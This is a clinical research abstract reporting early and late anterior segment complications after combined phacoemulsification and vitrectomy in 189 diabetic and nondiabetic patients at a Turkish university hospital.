To evaluate early and late postoperative anterior segment complications of phacovitrectomy and foldable intraocular lens (IOL) implantation in eyes with cataract and coexisting vitreoretinal disease in diabetic and nondiabetic patients. Department of Ophthalmology, Baskent University Hospital, Ankara, Turkey. The records of 189 consecutive patients with cataract and posterior segment pathology necessitating phacovitrectomy were retrospectively analyzed. Patient profile, indications for surgery, preoperative findings, intraoperative and postoperative course, and postoperative outcome were evaluated. Phacoemulsification was performed through a clear corneal incision with IOL implantation prior to 23-G pars plana vitrectomy. There were 97 (51.3%) diabetic and 92 (48.6%) nondiabetic patients. The most common indications for surgery were vitreous hemorrhage (57; 58.7%), tractional detachment (35; 36%), and premacular hemorrhage (5; 5.1%) in diabetic patients, and rhegmatogenous retinal detachment (40; 43.4%), macular hole (22; 23.9%), epiretinal membrane (20; 21.7%), and vitreomacular traction (10; 10.8%) in nondiabetic patients. Early (within 4 weeks) postoperative complications included elevation of intraocular pressure, fibrinous uveitis, corneal edema, and development of posterior synechia. Long-term (after 4 weeks) complications included migration of silicone oil into the anterior chamber, posterior capsule opacification, and decentered IOL. The ratio of fibrinous uveitis, posterior synechia, and posterior capsule opacification was found higher in the diabetic group (all p<0.05). Combined vitreoretinal surgery and phacoemulsification is safe and effective in treating vitreoretinal abnormalities coexisting with cataract in diabetic and nondiabetic patients. Diabetic patients should be monitored more carefully for fibrinous uveitis and posterior synechia in the early postoperative period and for posterior capsular opacification in the late postoperative period.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
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